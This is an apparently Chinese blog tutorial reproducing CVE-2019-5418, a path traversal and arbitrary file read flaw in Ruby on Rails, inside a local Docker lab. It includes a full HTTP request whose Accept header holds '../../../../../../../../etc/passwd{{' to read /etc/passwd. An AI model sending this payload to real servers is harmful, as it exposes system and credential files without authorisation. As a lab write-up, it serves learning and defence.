CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞
2021/12/15 22:13:00
本文主要是介绍CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
漏洞简介
在控制器中通过render file
形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{
头来构成构造路径穿越漏洞,读取任意文件。
环境搭建
执行如下命令编译及启动Rail On Rails 5.2.2:
docker-compose build docker-compose up -d
环境启动后,访问http://your-ip:3000
即可看到Ruby on Rails的欢迎页面。
可以看到端口
漏洞复现
访问http://127.0.0.1:3000/robots/
可见,正常的robots.txt文件被读取出来。
一定要抓到robots的数据包
将Accept数据修改为一下
../../../../../../../../etc/passwd{{
利用漏洞,发送如下数据包,读取/etc/passwd
:
GET /robots/ HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: ../../../../../../../../etc/passwd{{ Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close
成功读取:
这篇关于CVE-2019-5418 Ruby on Rails 路径穿越与任意文件读取漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2025-01-05Easysearch 可搜索快照功能,看这篇就够了
- 2025-01-04BOT+EPC模式在基础设施项目中的应用与优势
- 2025-01-03用LangChain构建会检索和搜索的智能聊天机器人指南
- 2025-01-03图像文字理解,OCR、大模型还是多模态模型?PalliGema2在QLoRA技术上的微调与应用
- 2025-01-03混合搜索:用LanceDB实现语义和关键词结合的搜索技术(应用于实际项目)
- 2025-01-03停止思考数据管道,开始构建数据平台:介绍Analytics Engineering Framework
- 2025-01-03如果 Azure-Samples/aks-store-demo 使用了 Score 会怎样?
- 2025-01-03Apache Flink概述:实时数据处理的利器
- 2025-01-01使用 SVN合并操作时,怎么解决冲突的情况?-icode9专业技术文章分享
- 2025-01-01告别Anaconda?试试这些替代品吧